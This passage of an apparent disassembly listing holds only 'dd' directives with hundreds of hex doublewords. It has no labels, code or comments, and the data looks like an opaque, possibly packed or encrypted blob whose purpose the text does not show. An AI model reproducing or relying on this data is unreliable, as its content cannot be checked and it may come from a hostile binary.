		dd 4C79711Ah, 0BD1D8B00h, 0D1E50623h, 7E5CDE29h, 8B60A84Ah
		dd 72BA38h, 0B1546DB8h,	0F064D042h, 480EC509h, 0A5B6540Ch
		dd 0C45B2989h, 48DB670h, 0F356EA1Eh, 949BEF6Ah,	0A00B72C0h
		dd 0A7255965h, 0B12DDD29h, 0D5FA894Eh, 6146FF4Fh, 205A19ECh
		dd 8B0470E7h, 0DBD1FFFEh, 7A28C0CFh, 0D00D6Bh, 0CBFB1039h
		dd 9D03F881h, 541FDD2Fh, 0A5DF713Ah, 0FE375F40h, 49CFD121h
		dd 9DDA749Dh, 24D890Bh,	54841A57h, 0D50ED475h, 0E08A229Fh
		dd 0AD0CBDF3h, 807D9159h, 8199BC4Dh, 8F168623h,	0C81CD983h
		dd 901613D0h, 5EDEAD60h, 1DEE88h, 0C5E0D3B7h, 585A5D3Eh
		dd 24D4605Eh, 1B451D8h
		dd 3D370EFAh, 2B54C516h, 949061E0h, 9101DC67h, 0B589BAA4h
		dd 602B238Dh, 3F3AD22h,	0DD566C00h, 5F6A46BDh, 1EC6E488h
		dd 0CB5CF6ABh, 8BB039BBh, 0FD748529h, 5CB049C9h, 0BD2770C1h
		dd 5DB53180h, 824EAE59h, 6EDB0A5Fh, 0B5C9B6D0h,	1C597653h
		dd 0C58858h, 0C0D07E66h, 69056FECh, 3280E199h, 0BAD91CFAh
		dd 85350019h, 0C9F65E28h, 20091DC5h, 5B793F75h,	3295882Eh
		dd 15A05017h, 0E294D96h, 7B36E5Bh, 5FF2C2FDh, 0DA336B00h
		dd 0DB4EB7EFh, 5C03A301h, 0A81E9B98h, 4B2613D8h, 211BD985h
		dd 0C9523A71h, 18B8B7ADh, 0D2DB058Ch, 0EACBF04Ah, 0ED8DAA9Ch
		dd 58A6921Ah, 0D8CB187Dh, 0B3F9E8F8h, 127DB15Ch, 7AFE1545h
		dd 1A15003Ah, 8C28B3EBh, 53CE25F8h, 2F4244ECh, 7B0E1422h
		dd 3DD11Ah, 0C3B78D99h,	850D00DEh, 0CC6A15B0h, 6B24D6A5h
		dd 0C660E839h, 126477F0h, 0F13A9579h, 0A7CD2A4Eh, 2FE3A12Ah
		dd 12BF95F0h, 1271E4FFh, 0ED41E4E6h, 7666088h, 8145D8B9h
		dd 95AC11F2h, 0B6248B1Dh, 8D44C8h, 8221CCA6h, 191F69C7h
		dd 8F8BE000h, 0EF42B6BEh, 254B93BAh, 89648876h,	0AB7F84FAh
		dd 7D82FA32h, 0EF7BBE14h, 4E009571h, 10D96277h,	718E095Bh
		dd 4A0E7A3Ah, 0BF0DF4A2h, 98B3FE00h, 8BF9C82Bh,	0A38B0D1h
		dd 82E979BDh, 0BEF0A57Fh, 6A4C0851h, 0F41AD8D4h, 893FC0Ah
		dd 0FE25080Dh, 9D29E0A2h, 739519A1h, 890F04B4h,	0C081E912h
		dd 4EF10179h, 77DF585Bh, 0E1346101h, 0CD8B0F8Dh, 9003AFFFh
		dd 5E1ACC8Eh, 895AA19Ch, 795FFBAAh, 4E201148h, 14622EE1h
		dd 0D624A528h, 95010AD8h, 9D2B076Eh, 33790985h,	233E8041h
		dd 47BC7B3Dh, 0CB80920Bh, 0F63DDD1Ch, 9DE72205h, 42061DAEh
		dd 0FE9FF6Fh, 97343F20h, 74F400ECh, 88F071ADh, 1C139B66h
		dd 8DEA41A8h, 7D41235Fh, 9B3AA906h, 9F20F2F0h, 0B931CBD8h
		dd 8589592Ah, 0E117523Eh, 0B8336940h, 82FC5F1Ch, 1A5712AAh
		dd 50587BABh, 330225B5h, 0AE0B70ECh, 0F58A40F0h, 5C4CB50Fh
		dd 23B35400h, 4349AFF8h, 0A634BDBh, 40E9BAEBh, 32F62ABFh
		dd 6FCF084Bh, 0D5A5885Ah, 22946F16h, 40E6F003h,	3C2BE8D0h
		dd 1446E6ECh, 95A9E1B8h, 2D1910h, 0D381605Fh, 4892790Fh
		dd 4078E447h, 0CD956118h, 411DC0E6h, 53041856h,	880D1182h
		dd 4E516D8Ch, 199F710h,	0A407D781h, 0DA6B589Dh,	0C81DC805h
		dd 0E594078Fh, 99E04E36h, 8BB718BEh, 822C9597h,	1EE18D31h
		dd 7AD8FB55h, 4F0FAB40h, 91A55D50h, 50CE0D4Bh, 35A23422h
		dd 9F687057h, 0B7C3F2F9h, 0DD2610BAh, 0E1FF1714h, 0A02502F2h
		dd 4F404CF4h, 98C6702h,	3EDD909h, 5B7191D5h, 9229282Fh
		dd 0C0C6044Dh, 0F8EF5234h, 4251005Bh, 0E395A8B0h, 53094581h
		dd 793572B9h, 0AA8A4530h, 0E600BE8Ah, 0CC923AB6h, 301371EDh
		dd 71F80A3Fh, 914304A5h, 0E149BC13h, 9E2F0428h,	36D981FDh
		dd 99F52FB4h, 0DB6B60D9h, 0A25B80CBh, 0B7C7DEFDh, 4E3C165Ah
		dd 41C44B8Bh, 9D309F8h,	3E78FA4Fh, 56392397h, 44B68501h
		dd 0BB1478F0h, 81FB1607h, 29314A2Dh, 55E6F18Dh,	0D3AF7B45h
		dd 593C50EEh, 0E6FC2825h, 31BDEC5Eh, 0DA63033Dh, 5DB16090h
		dd 405E3B4Eh, 6D74F86Dh, 2A2476F9h, 502812CAh, 821270E0h
		dd 4E54CD7h, 0AEE44C6Dh, 0F3B7047Bh, 5B79A2BFh,	0E8376F58h
		dd 9F798813h, 0A50070FCh, 632D90B2h, 19E946Bh, 0A1999C21h
		dd 6A0178D7h, 0D05837C6h, 8F03393Ch, 0C515D8Dh,	0CC5AF4F7h
		dd 8B3D535Eh, 0EF9BF9F8h, 2991178h, 74129B8Ch, 55C6B8F3h
		dd 126FA9Fh, 0AB3A598Eh, 2BB4026Ah, 7452FE32h, 4CC1048Eh
		dd 0D482BC5Bh, 2B8ED6EDh, 3C9C6418h, 0C832FEC7h, 4F02765Bh
		dd 0F9316495h, 0CBF33816h, 0FADBAAD9h, 0E49D140Dh, 646900CCh
		dd 0D219113Bh, 79055630h, 18989307h, 0C6BB41C1h, 0B16A2DD9h
		dd 6A51E5A9h, 91B045B7h, 0CD1C4E8Bh, 84791FBFh,	2A499D0Bh
		dd 5B5ECBEAh, 0D48044DAh, 6A108220h, 5FB5092Dh,	0B9893104h
		dd 287BCD3h, 978B68E7h,	0D184440Dh, 88DA9BCBh, 890CC017h
		dd 0A4C953ABh, 5D05923Dh, 9979564h, 1904DFEAh, 0BCE51202h
		dd 0DA4AB52Ah, 0F1804B0Eh, 0C80A891Eh, 0BF968D04h, 5E1608C2h
		dd 34C1E9CDh, 0F868032Dh, 0BDF2AE13h, 0E0B515C6h, 25F0E047h
		dd 43FB0D70h, 1E3CE70h,	55D5A3B0h, 85D98E66h, 858DFEB4h
		dd 43E035F7h, 0D017618h, 7314F0ADh, 2B09E88Ah, 24046B8Ah
		dd 0C15FDC97h, 0C577BF80h, 1E206E50h, 626023h, 0C065E11Ch
		dd 2BD81EBh, 152C7D3Eh,	5B1514D5h, 30055B8h, 7CAC9837h
		dd 0BC0035E6h, 0F7199CA1h, 0B034BB94h, 5F1F0918h, 0A889905Bh
		dd 0AFD6B5FFh, 411731B1h, 23A5D7h, 27958961h, 4FC8087Dh
		dd 414B57DBh, 803FF1CBh, 0A6C5CE25h, 771E621Ah,	0E1809AB7h
		dd 0D518B8D7h, 0C2794E7Ch, 50270DF2h, 0F49A5609h, 9390B800h
		dd 62425B73h, 0C07195B6h, 0E3ADBE80h, 0B00FAC19h, 0DB549D6Ch
		dd 7CE6CD25h, 86051546h, 88870FCFh, 0BA9651F5h,	6C9E049h
		dd 899F0F42h, 0E1EE18B4h, 0B2665D07h, 8F3F95Fh,	532A70h
		dd 0B6C2D9D4h, 0EDD8529h, 0A8CFE9B9h, 16467E80h, 28705309h
		dd 114BA6D8h, 4F22FACEh, 2B2926C4h, 0CBDD9ADh, 3607B53Dh
		dd 399D2B38h, 0C1BA90F9h, 21389D08h, 5209C381h,	57587277h
		dd 48408F15h, 12FBDCA2h, 0C8550627h, 6D0088F1h,	3656A724h
		dd 4530C9Bh, 8DEE39D6h,	8FD5BFC6h, 0F74C52AFh, 0FB9A5A34h
		dd 897F9D83h, 4123D199h, 7B0CE97Eh, 800003A7h, 8F8E04F3h
		dd 0E40028FBh, 0A86946BAh, 829A3A4h, 3DD0F10Bh,	5544E2AFh
		dd 1C649C6Dh, 0AE5E1060h, 13068D12h, 32BCD684h,	0CDD381C0h
		dd 705652C0h, 0BD205AC7h, 65DE6Bh, 0A50910F7h, 668C0E41h
		dd 3F3E9701h, 4720BF88h, 0FCED362Fh, 5515A125h,	30271FB7h
		dd 4A0F7534h, 0BB544283h, 92422A22h, 6944EDF7h,	71000B5Bh
		dd 13751C36h, 0F79A25F0h, 65318710h, 4771002h, 496D8D01h
		dd 123A5F92h, 0B903BD07h, 9CB3078h, 4D185F0Bh, 5088028Dh
		dd 7174CF20h, 0C403BD32h, 0B6AADE8Bh, 0FCB6A44Bh, 90E8BD00h
		dd 0FF20C723h, 7FAE6012h, 0EF78CBFh, 0B9501600h, 0BE45DA41h
		dd 8C1B072Ch, 2411729Dh, 0E94994DDh, 0F9B7EC18h, 0B84A9D78h
		dd 621CAA08h, 6B6A6C51h, 0AF47BBFCh, 60505BE0h,	6F81510Fh
		dd 0D1804028h, 4C20BEF1h, 86F2492Ch, 49295C49h,	549960D5h
		dd 45EA9761h, 34C049EDh, 0B59A5C25h, 1C40A050h,	279070BFh
		dd 0BBCE1B32h, 7B18FD25h, 5ABF871Eh, 4452C6F6h,	0E712D525h
		dd 3E4611E7h, 48E5CA01h, 0CA99A07Ah, 500F224Eh,	0DBDB33F9h
		dd 4325EF96h, 250389F2h, 0EB129031h, 8BD24288h,	0DD81FA4Eh
		dd 2E622F01h, 0D7B53193h, 0B80120BBh, 9E713300h, 39E2EEF4h
		dd 97090092h, 130AEB81h, 9897161Ah, 5CC780C2h, 0CD15DD3Dh
		dd 18982F0Ch, 0E5950901h, 0C99C700Ch, 8C7FF302h, 4828E01h
		dd 0E14E2CFAh, 84D89E7Bh, 6AB5DFCh, 62D98B46h, 971FCC95h
		dd 0F038D6D8h, 0B7F94FC6h, 0CF9534BCh, 601A64FDh, 7F39316Ch
		dd 29012587h, 0DF911090h, 48CA274Eh, 0B25FF454h, 80339167h
		dd 528D22C8h, 461CEA2Eh, 17005B99h, 30F0C91Bh, 0A1E92D24h
		dd 0B727F054h, 0FC37004Bh, 27687332h, 5FE02D09h, 8DCDFDEEh
		dd 0F27677E0h, 5B0B12EBh, 0CCE8F0BAh, 0EEFCCD25h, 591EB3E9h
		dd 0C33FFCh, 0AB889C0Fh, 9758BD50h, 3F5B1F40h, 158FBF90h
		dd 0E0D211E4h, 900B761h
		dd 0DBB310Fh, 6C406Dh, 0B966585Ah, 9061575Eh, 0C2CFEDBDh
		dd 845F86AAh, 0CCEB0CF4h, 3924D756h, 0AA38B289h, 0DAF20D24h
		dd 24C183A2h, 2F62F23h,	60A056F3h, 921D2D99h, 2613E595h
		dd 6E3F00A1h, 9AA703FDh, 8D50FC14h, 51EA9D84h, 0C4AD2788h
		dd 85A4DE27h, 9D9DB1Dh,	0DE537CEDh, 2BCB7501h, 0BD33A1B7h
		dd 0A7BAB4CFh, 0AFBF3C3Ah, 0D63E5636h, 3A43B09Fh, 279C00A7h
		dd 48CE9F91h, 0FF2DF14Ch, 0E0CC3D1h, 758D297Bh,	8809A3D3h
		dd 0C844A58Ch, 6F201700h, 64AE3769h, 0E09202C6h, 0AD1F1D8Ah
		dd 6A5B3890h, 366E025Ah, 0E3C92C03h, 0AA10EC95h, 90141605h
		dd 39128E57h, 6CD7BA7Dh, 0D15802B9h, 0E9927D18h, 517345F7h
		dd 0D1AC3F75h, 9222058h, 0A615F99Dh, 8CE989A7h,	0DD70A65Eh
		dd 0EF8080CDh, 0BC109A59h, 2C450080h, 0CB816A48h, 5D27ADDAh
		dd 0D6505E55h, 67131546h, 99AA247h, 7FE0F31Ch, 683967E9h
		dd 0C0F44C87h, 0A7B08772h, 33D70092h, 2E02BB06h, 27BC1CB7h
		dd 0D278102Dh, 49CB00C3h, 0AE67C4F7h, 0D9028AD4h, 9DD7ECE8h
		dd 0C0797F5Fh, 0C03274FAh, 4DCC72E6h, 0C73CB402h, 5E7A3DF3h
		dd 0BCF8C4B1h, 6BA5ACh,	1033602h, 8955685Bh, 0ADAF719Ah
		dd 0BC181F04h, 8C19FCAFh, 6BEEAF02h, 0E2BF30F1h, 91585F64h
		dd 98947997h, 202D6C60h, 0D7BF1BC2h, 0C6995E61h, 8B582DCEh
		dd 0DA0864BBh, 853BC0ABh, 97843065h, 49B66F24h,	96478F5h
		dd 32E58D01h, 4F38ECF7h, 0C9FEEC83h, 135C798Dh,	2642AFFCh
		dd 5E46BABFh, 0E67E2D3Fh, 0F5C82B61h, 67BFD1E4h, 717642FAh
		dd 4477E9FEh, 72A4AE57h, 29B53409h, 0E7D2FFE5h,	0B1DA768Dh
		dd 4709C958h, 37780C0Fh, 4CD2954Bh, 80C92E12h, 0DEBFE368h
		dd 20F3C206h, 25153DE9h, 3BE63BB7h, 0C7F9BB04h,	31BC4D4Ch
		dd 81802788h, 2E4BF6CFh, 1280A95Fh, 3E37292Fh, 6695394Ah
		dd 45BD3C3Ch, 0AA38612Eh, 0EB91054Dh, 38923DC6h, 895389A9h
		dd 5E0BB510h, 0FE66EC48h, 0A00FB92Eh, 0DEB2A6h,	0EA722CE7h
		dd 8B4FAD12h, 5DD77C25h, 919D0B18h, 8A891641h, 147B1109h
		dd 5024F325h, 36502662h, 2E315E1h, 29CD75FCh, 292A31C0h
		dd 0DEF90B0Ch, 0EA7CC02Bh, 432A09DCh, 0C55976F2h, 0F918CC05h
		dd 6EF2AEh, 8C334521h, 0F88FFF95h, 74FD2590h, 660935E4h
		dd 79946ABBh, 60FCE034h, 1FBE820Fh, 2B2CBE40h, 0E9B52A8Bh
		dd 6E614EE9h, 72090026h, 0D780C4E5h, 1BB297B5h,	314FA17Fh
		dd 4A28C18Dh, 0C883DA5Bh, 0E0D5C018h, 0FD0125F7h, 19A9E781h
		dd 0F86A6CBDh, 94EED2A9h, 7C6BAE27h, 7F001823h,	0FAD41E6Fh
		dd 85292D51h, 5F598455h, 0B608B2AAh, 0F7155E80h, 0A56A636h
		dd 30907F67h, 0F6B04E8h, 1728FB8Eh, 0C02E1D28h,	0B5ED031Ah
		dd 0BC8C6743h, 85C2A361h, 857ABAh, 0B7EA599Eh, 9815B3C6h
		dd 8D0F2402h, 0E845B1h,	0BAC27546h, 7804F3B4h, 0CB69BB2Dh
		dd 0AE9A34ABh, 69ADD156h, 0D2DFCE8h, 0A7367B4Bh, 0A850A373h
		dd 484201F9h, 0B3C22AD0h, 780B3A69h, 7E3E5E1Ch,	0DB1C1D46h
		dd 9BD30037h, 0FA7AE1CBh, 89519412h, 0AE5B95AFh, 846E292Ch
		dd 8BEF813Ch, 777492C0h, 1533E910h, 91DFAB00h, 0A071FDA7h
		dd 57CF018Bh, 480798B8h, 0A605307Fh, 5E062016h,	58B33ABCh
		dd 1F9625Ah, 0F9B097BCh, 0FDCAD84Bh, 0ED4AF634h, 0DF30BD3Ch
		dd 0BD0317A4h, 8FEBD19h, 131509B5h, 1A6EFA60h, 0B8759B01h
		dd 2F8092A6h, 8D29FF02h, 36875BDh, 579404E1h, 0E3B602DCh
		dd 19CD9D33h, 4596E655h, 0D9756044h, 0FBDD094Bh, 0E388123Eh
		dd 25BB4BDFh, 0CBEDA8F9h, 1932773Fh, 2569597Fh,	6AF91EA2h
		dd 0DE8DDCh, 0FCFF4C8Eh, 0A95BF03Ah, 0BBB2CC01h, 51CBBC40h
		dd 0F810293Ah, 1A1D73A3h, 92825041h, 743975C8h,	86BF8F02h
		dd 0EF733244h, 20B380B4h, 0DAF45B4Ch, 0F7E29B97h, 9C4371F9h
		dd 0AA546D5Fh, 85DBEB04h, 0A168CAABh, 2120CA79h, 2929B7B1h
		dd 7BB7465Ah, 29D178FDh, 6B3A1904h, 73E8E94Dh, 84552380h
		dd 583E5DAAh, 8C4E001Bh, 0C3CC8826h, 0C89E1F1Dh, 0C259EFCFh
		dd 0EEE95F85h, 0A176A7BBh, 0D4CC35A7h, 0D5E30F89h, 60627D15h
		dd 0A1728D09h, 0D6B8615Eh, 90DCC4Bh, 7AE4DEEDh,	0DE0E8997h
		dd 0DB00F6BAh, 34E09C52h, 218BC96h, 56BBFC9h, 746021F9h
		dd 4E970BC1h, 9D030BC4h, 375718A1h, 8930AD5Eh, 42011558h
		dd 0B8ED3DCCh, 1C3489EEh, 0CB1A4EC9h, 0F03143B8h, 2B9B32Ah
		dd 48E18992h, 98FF2909h, 800446EBh, 960ED254h, 8450F88Bh
		dd 0A1AFB531h, 448C6A92h, 59BD3F23h, 60D3DDCBh,	1A5B7D11h
		dd 9494DEA3h, 8738DF58h, 9068B25Ah, 543127F4h, 0DA8A6277h
		dd 0CC2E040Dh, 2E006465h, 25B92CC4h, 0A8FB0Fh, 77BF7536h
		dd 5B1B8D3Bh, 601EE691h, 0B2EC28C0h, 7DB7B476h,	15989F61h
		dd 26004DD6h, 28F1F6Fh,	0C8E727h, 0EC866EEEh, 5B1ECCB5h
		dd 0ADA4CF7Ch, 5812B304h, 805E08E9h, 84D0225Dh,	3A4E1D47h
		dd 91671489h, 4682C6A0h, 51EFE10Fh, 57ADCB0Eh, 82DD1B1Ah
		dd 8E14187Bh, 0DE1D29D6h, 0BACD2DC3h, 118CEFC1h, 0ABC9E0FFh
		dd 57AE4D13h, 0C267A892h, 779D2B61h, 17D5E22Bh,	222E40B9h
		dd 60E6CD03h, 0B578AB18h, 810A4D76h, 0DED54C52h, 6739D11Fh
		dd 0DB30AD87h, 0B4515580h, 0B5223920h, 0F594F802h, 0CB5C5F4Ch
		dd 2FC20E51h, 51485A4h,	0D9B81EE9h, 0CB79DE89h,	0EF511CD7h
		dd 5F44A0D4h, 2586EBEh,	62A14A4Dh, 51925ED3h, 0FC4D94BCh
		dd 0F4AEB3A4h, 4609D8AAh, 6D9C3500h, 4BF21650h,	0CE1E0009h
		dd 598D5399h, 1925FD3Fh, 5A2446B6h, 4BFBE7FCh, 0FF00346Ah
		dd 66859C0Dh, 73B5E3BBh, 70902060h, 7A5BBD79h, 2BBCE7Ah
		dd 89F0F88Eh, 0C6F5EB97h, 6CDAB5C9h, 0D3243425h, 18155958h
		dd 0A3635E35h, 4ADB3CBBh, 8B2FACB3h, 6112F159h,	928DDAEAh
		dd 2F823898h, 0D76B34Ch, 0F6B59C20h, 4512DEE3h,	0F7B1066Bh
		dd 1C0B4Ch, 0DB6C567Dh,	0CA28B11Ah, 1985CC00h, 160696AEh
		dd 0E5132F18h, 0B2006344h, 0CD488595h, 4A0AA89h, 9F7AF4CAh
		dd 0C47EBD71h, 2A2913B5h, 16B27DE6h, 4BC16F30h,	9141C441h
		dd 2F502FB1h, 0E36F1912h, 0DBB0AB00h, 877E075Eh, 811F0C00h
		dd 1346C1D7h, 3D9A9758h, 60E87146h, 41AAE0BDh, 0C3A005B9h
		dd 0EECA0391h, 9ED0BCD8h, 92422D47h, 4D45B857h,	0AC84A41Ch
		dd 5D60B54Ch, 0D30281D2h, 23303FAAh, 82EC5561h,	19228977h
		dd 6DD4B52Dh, 0A8B06196h, 4748A32h, 48116840h, 36EC0059h
		dd 0F75116A1h, 96023EDCh, 0B190A6D6h, 1E6DF9C6h, 5624C5B4h
		dd 79CBEE85h, 0A1F12A01h, 2B5F03BFh, 0A6BF49C4h, 0D8BBE56Fh
		dd 210EDAC1h, 0C44EEB81h, 0B6BA616Ch, 4D1B1227h, 0B98004EAh
		dd 14B8012Bh, 61CDCDFFh, 0C814602Fh, 6A4EF834h,	0F6E422BDh
		dd 0D3AFA003h, 0CC582898h, 0BC9D54EEh, 0F3565850h, 8981CF14h
		dd 0CC5AC490h, 68A4D9F9h, 31F98A02h, 7530218Dh,	810324EEh
		dd 7EF2F6C3h, 0ED345A6Dh, 91F8F4h, 48B0A214h, 577C0B8Eh
		dd 8B0A9997h, 2C949928h, 0A2495477h, 63F01380h,	3669AF61h
		dd 18926E7Fh, 856A11C1h, 852A63E1h, 0FD25C98Dh,	97FCC661h
		dd 0CF1064D8h, 381860Fh, 920ABDB5h, 0D700562Fh,	67324754h
		dd 0B0C6485Fh, 24210986h, 0D936739Dh, 0C4A1818h, 0A342A2FEh
		dd 0E92DFB96h, 10F07282h, 8919ED85h, 0F2107D01h, 0A16D0BBh
		dd 0CCFE3FF2h, 0FE12BF2Eh, 1EF290F8h, 2B3EEB00h, 421E3578h
		dd 0B0A9C700h, 0B2B3FE49h
		dd 0B750095Bh, 375F90ACh, 0EFCC00C8h, 0B4C04852h, 0E70F4117h
		dd 0EDFE21FAh, 0D8FA042Ch, 1D003A5Fh, 0FD71108Fh, 6B09F12Bh
		dd 0BF7F0A85h, 738D0B78h, 6CB71E64h, 0BD4B14A2h, 70089314h
		dd 0A43423DDh, 9B5A80ACh, 61BB96E6h, 3AD62F76h,	0A43E5EB1h
		dd 99E60B9h, 0D10EEC68h, 5ABEDD61h, 0F5478020h,	0B3A1009Dh
		dd 55F49B7Eh, 500F146Fh, 29735357h, 0E9D1ABh, 447DAA24h
		dd 0DF3ED97Bh, 5DB180FFh, 0A43AD8EDh, 0F900C5Fh, 0B32F0280h
		dd 7CC0DD5Fh, 29C751DBh, 2FAF61FCh, 0D468D37Eh,	570E7509h
		dd 7C9E1F96h, 93D204D4h, 0B84AB3B5h, 0B31C9ADh,	4FE85A50h
		dd 0E03720D1h, 36072576h, 0F9E59928h, 0B34E1920h, 0C68E031Dh
		dd 9D1B4B94h, 2D55A412h, 5BD8CEFFh, 26BDD212h, 0C00BF2BCh
		dd 0F4F7E1BEh, 0CDD0942h, 727330F5h, 4F6C002Ah,	398E86F0h
		dd 0C80202F6h, 4B7C7F23h, 36978FA3h, 0C084B00Ah, 75595042h
		dd 0E7165ADBh, 7161430Bh, 40C280E4h, 0A30A5F1Ch, 8D6EF700h
		dd 64023A46h, 0D09B085Ah, 0C58006E9h, 0EBF3F5A5h, 9299B40Ah
		dd 0F9B35231h, 90A0D7E1h, 8E374BE9h, 0DD7A109Dh, 6E137559h
		dd 5965F8FDh, 0D70A8923h, 0B731DB14h, 18C51EFAh, 0A04BA05h
		dd 548C50F9h, 0AECF006Ch, 92FEBAACh, 0CD018048h, 0C065C51h
		dd 0D07690CCh, 0FE3488F0h, 1DEBB0C2h, 0A5495C82h, 0D5803DBDh
		dd 8C3297CAh, 0E9DD176Ah, 7CB3A7h, 9565247Bh, 9DBFF09Eh
		dd 50AFC556h, 5B1D402Ch, 4BDF92C2h, 0C98A5CE6h,	1F331F80h
		dd 0EC951702h, 0C9BD111Ch, 871CA931h, 0D0282FA7h, 0F9646D7Eh
		dd 86B13191h, 0D65DEE60h, 0E2BDC071h, 3A4E912Dh, 732B44F1h
		dd 47090970h, 27C9B529h, 0BF02B07Fh, 748E4070h,	5A51EAE6h
		dd 8067A803h, 0ADCF805Bh, 0B77112E4h, 0E37EE4F1h, 4E205689h
		dd 0EADF8A99h, 7B66C06Dh, 8CBA4A2Dh, 2C44216Eh,	9A9097C1h
		dd 9301A346h, 619E5414h, 2E5C85h, 7BB9608Ah, 3A58D0DCh
		dd 27E5C072h, 19E9DC0h,	0BA4ABC48h, 6324BF6Ch, 11EC5F3Ch
		dd 589BC4C1h, 0AC142E61h, 129510FBh, 4A62B35h, 0C556B38Bh
		dd 38D08DBh, 5D3808Bh, 730170D0h, 175D9529h, 3385BE04h
		dd 3861BD89h, 18657F3Dh, 0D18DAB8Dh, 3D018501h,	8D2A93Ah
		dd 485843C7h, 41B30B5Bh, 0F535C97Fh, 57AF322Eh,	225778EAh
		dd 5C5B6115h, 521E44B4h, 9DC2DFADh, 425C2669h, 0C99E51A0h
		dd 8AB5B69h, 902F5DB9h,	59B87h,	1AB004CDh, 0E360EA78h
		dd 5BDF8B0Bh, 0E002CD6Ah, 8FE37B86h, 0BD0D0602h, 57AF47B6h
		dd 1009C131h, 706551h, 61EF31AAh, 0BB9B364h, 0D3D2104Ah
		dd 6AAB5C59h, 0EFF2D43h, 24A6F3DBh, 0EAB2E7E0h,	0D4E3D209h
		dd 8ECD5D2Bh, 0DA2134C0h, 742B9725h, 0CE67CD5Dh, 0B49C6622h
		dd 0DD17Fh, 0D404E381h,	0D4A643E6h, 8048183Ch, 17BCA309h
		dd 9F6052F7h, 12054C04h, 5A0A8FAAh, 6E44A0E1h, 4D0DB7B4h
		dd 0B1F8B688h, 236A5216h, 6EDA7F03h, 0E58A103Ah, 16034810h
		dd 29EF1241h, 2EDEDD01h, 52817A34h, 8B6B1AADh, 0C01CD4D2h
		dd 783EE6A7h, 0ED1C004Eh, 8BB2F81h, 574BE0DCh, 41222C8Ah
		dd 894A0B7Dh, 0F9258DE7h, 0AA8AD566h, 0E1FF9868h, 0C03D6D9Dh
		dd 0FB83510Ah, 55626290h, 56D88B4Fh, 40850ABh, 35A67EE1h
		dd 30ED73F1h, 54954103h, 0B1F37165h, 19F52653h,	358E8E2Bh
		dd 0DBEA27AAh, 72AF8032h, 4A60E4B7h, 0BF66C4F5h, 9604C26Eh
		dd 0BE11AC9Bh, 0F60AA540h, 0D30C8F0Fh, 0C3D6EC27h, 84798D29h
		dd 80B5B701h, 2EA93BE1h, 0F75A0FB8h, 9DB7C8h, 9AE40827h
		dd 71F3DB33h, 645D5E07h, 6AA485AFh, 71CA8ADh, 4ADC2701h
		dd 0BFBA90DEh, 0EBE7066h, 6BE52310h, 2111020Ch,	0C49DBD23h
		dd 0D2F1ECC7h, 11F1A75Fh, 5F71080Dh, 4F57A256h,	5B2E71BEh
		dd 95D47A5Fh, 91B83DB9h, 0B5B06513h, 846208A3h,	778B145Dh
		dd 3CBBE060h, 429A6407h, 0E3529868h, 81485757h,	67712434h
		dd 29BFC58h, 9523D48Ah,	4B4B5851h, 0C4F0FD61h, 0E6BBB255h
		dd 8DC4F047h, 0FF2D0B34h, 0BB85F8D7h, 25D0B8DBh, 27A9C4ACh
		dd 155C155Dh, 50ECFB5Ah, 0DD02FD9Bh, 0BD9CA592h, 95F568CFh
		dd 0E11264B9h, 4B91AC5Fh, 3BEC32BDh, 74001573h,	7C052862h
		dd 0AD38189h, 66F8BCCAh, 8F42A5C2h, 0ADB5BDFDh,	6CAAA17Fh
		dd 742B2384h, 8D6AEEACh, 0FE897012h, 9E80DE9Bh,	0A3FA43F2h
		dd 0A77E2712h, 0DBACB465h, 0B10E7712h, 36339Eh,	0BE4B4927h
		dd 0E400CDAh, 50965E86h, 0A5A90453h, 0D69AAD07h, 0FA109CC8h
		dd 0BF460078h, 8BC9A41Eh, 5D070D26h, 4B13ED1h, 68184FA0h
		dd 0F4E9047Fh, 0E58D0FE1h, 0F8775132h, 84802B5Fh, 242A1A80h
		dd 55688D1Eh, 60A4C700h, 613FE9Dh, 74D648BFh, 0AD20CE3Eh
		dd 0A2904E1Fh, 0FEC20031h, 86D6B6EAh, 0F59A9760h, 94504487h
		dd 2D8ABF83h, 0D9007D38h, 32F55A66h, 0A6724512h, 6198F200h
		dd 0C2E6C3BFh, 93907F8Dh, 335002D6h, 10484DBDh,	3795615Fh
		dd 0DE540088h, 8AFA7D98h, 6FCFDC4Ah, 0A5C9A64Fh, 0CA7B17FEh
		dd 440B38A4h, 0A5038921h, 12B77F24h, 5EC52h, 2F45D513h
		dd 0EE79FFEFh, 0AA5DCD40h, 5B8C1E8h, 0D409EF15h, 71E5562Fh
		dd 66837584h, 0AC14F0B7h, 0C8EE4EF8h, 6F45551h,	0D47741Ch
		dd 880FC4C2h, 1AB72102h, 35E34B5Bh, 9BEB8442h, 0BFD8C487h
		dd 1B54EC0h, 0EFF19F06h, 1CB6516Bh, 6FC60960h, 298B9D59h
		dd 9650749Dh, 0BD2F060h, 65FE4082h, 0E57F8A23h,	3ACF51B0h
		dd 0F98E53B8h, 0F1F8CE6h, 3BEEE85Eh, 25F06296h,	0AC5B040Dh
		dd 2BC9D7D0h, 2780823Dh, 6D547945h, 597783Ch, 5B19B5A3h
		dd 275AA2BCh, 0EC84E0A7h, 7300DBB3h, 13E23823h,	97679B7h
		dd 0D2C78BCh, 5347CF7Ch, 0AE905549h, 594F9509h,	0C0F67D17h
		dd 683017B2h, 0B5F2523h, 0B73782F5h, 60D956DAh,	253977BBh
		dd 0BFDA564Ah, 0B4C018C8h, 5B6CAF55h, 0A19CB062h, 99302BE7h
		dd 255B8FBBh, 0B07F71A7h, 852F11E9h, 6D808729h,	7D67E99Dh
		dd 0CDD6047Fh, 94FDB529h, 0D553AACCh, 0C098DAFFh, 0BE9AF175h
		dd 0E334269Bh, 14D509DFh, 4248D056h, 1DA9EA81h,	7E6CE17Ch
		dd 0DF13A458h, 439AAA5Fh, 0BA2A6097h, 0BB00B19Fh, 28AB30DDh
		dd 0B660DE34h, 0A8EC40CBh, 74001D31h, 0B12DBE54h, 0A1168B59h
		dd 0C12F11D8h, 62024551h, 1261483Ah, 0C8B72035h, 3CBCB459h
		dd 0F50B0D0Fh, 73B3C279h, 5E10757Bh, 6A12C965h,	9BBE6088h
		dd 15CEC0E2h, 209D8998h, 0AD8A2E21h, 40BB95D7h,	119474DDh
		dd 0CDF0DC03h, 0BA950141h, 3196D702h, 0D47BB4h,	602105F7h
		dd 0C18134B7h, 44098DECh, 5C50610Bh, 0F092403Ch, 0BE01FC63h
		dd 0AC023205h, 0F425684Eh, 16216E7Fh, 24C83369h, 0F7401CEh
		dd 4D4E0BD0h, 529B588Eh, 67AC605Ah, 0FF3712D2h,	4369E3D8h
		dd 0D9D1D32Ch, 9B718BB3h, 0C3C11E78h, 30969225h, 769F5029h
